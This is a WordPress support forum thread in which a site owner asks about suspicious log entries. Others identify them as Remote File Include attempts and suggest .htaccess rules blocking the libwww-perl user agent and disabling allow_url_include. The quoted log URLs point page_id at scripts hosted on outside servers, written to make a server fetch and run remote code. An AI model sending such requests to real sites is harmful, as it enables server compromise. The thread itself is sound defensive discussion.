trojan attack?

where did my post go – is it toxic?

My hits are up 50% and I have links such as the following showing up in my ‘counterise’:

“wp/index.php?page_id=https://amyru.h18.ru/images/cs.txt?”

I note this discussion

Any concerns or quick-fixes? I’ve not spotted any ‘added’ code on my pages – does’t mean it’s not there I suppose…

Thanks, Bill

Sorry for that – seems something wierd is going on with my cache…

This is what’s known as a RFI attack, which stands for “Remote File Include” attack. Basically, the user is trying to get your server to execute the code coming from their server.

I’m not aware of any current vulnerabilities along these lines in the latest WordPress. Searching through I can’t see how they expect the page_id parameter to get passed to an include or require either. So I’d say that their attack ain’t working and not to worry about it for now.

Although the OP stated the WP version as 2.2.3 – which is NOT the latest…

otto’s right.

There are a few “fixes” (for lack of a better word).

1. block lbwww-perl from accessing your site in an .htaccess. you can do that a couple ways:

mod_rewrite:

RewriteCond %{HTTP_USER_AGENT} libwww-perl [NC]
RewriteRule ^.*$ - [F]

If you dont have mod_rewrite at your disposable, nearly every Apache install has mod_access support.

mod_access:

SetEnvIfNoCase User-Agent "^.*libwww-perl" evil_script
deny from env=evil_script

That pretty much stops them at the door.

There are mod_security rules that take care of them too.

The other thing I recommend is ‘outing’ the hosts that continue to leave these sites up — if you have the time and the inclination.

I like to blog about them. And Ive also contacted a fair number of hosts.

True, but 2.2.3 has no known vulnerabilities that I am aware of. And I still can’t see page_id being a way in for an RFI attack. I’m guessing that the guy is exploiting some other piece of software that also happens to use page_id and is just hitting large numbers of sites indiscriminately.

You guys know much more about this issues – so, I will never argue… I just thought it was important to clarify the version.

My take:

In the case of these sorts of scripts, I tend to take the stance that it doesnt matter whether or not something is currently exploitable and here’s why:

For arguments sake, lets say the current WP core isnt exploitable. Thats wonderful. What about plugins? What about in the future?

Ive seen hundreds, nearly thousands of attempts at this sort of thing in my own mod_sec logs. ‘They’ do not hammer away at one file. They try all kinds of files, including well-known plugin filenames.

Ive also seen attempts at files that dont even exist .. gallery files, coppermine, phpBB files, joomla files.. etc..

Gallery and coppermine are rife with users that dont take care of security upgrades, more so than WP, in my opin.

Consequently, if one can take steps to stop them BEFORE they get through the door, why not do it? Its called layered security ??

Advising otherwise is like telling someone that there hasnt been any crime in their neighborhood for the last month so they should feel safe leaving their front door open.

And yes, Otto, I know you werent directing your remarks(s) @ me.

Another quick fix: If you’re running PHP 5.2 and up, you can disable allow_url_include in the PHP.INI file, or ask your host to disable it for you. This prevents include’s and require’s from working with URLs.

Thanks for the feedback everyone – I see some minor variations on this theme too, such as:
/wp/index.php?page_id=https://a mygirl.3-hosting.net/cs.txt?
Coming back to the input above. Let me summarise my understanding – noting I’m a guy without deep knowledge in this area, without server access, and runs wp on my hosts server:

• 2.2.3 (it is believed) has no currently known vulnerabilities – just like 2.3. So probably no security specific advantage from upgrading to 2.3.
• Plugins could be compromised
• I could do nothing as it’s probably inneffectual – right now – but it’s better to close the door before they get in

Re Otto42’s

Another quick fix: If you’re running PHP 5.2 and up, you can disable allow_url_include in the PHP.INI file, or ask your host to disable it for you. This prevents include’s and require’s from working with URLs.

If I send this to my host (a)will they understand, and (b)will they just happily do everything or will it have any knock-on effect with other people hosted?

Sorry for such dumb questions…
Cheers, Bill

a) Probably not.
b) Nobody who is actually sane should be doing remote includes.

But most importantly,
c) If you’re not using PHP 5.2 or up, then you can’t do that anyway, and damn few hosts run PHP 5.2 and up. I was just throwing it out there for those people who run their own hosts and might be in the know on how to do that sort of thing.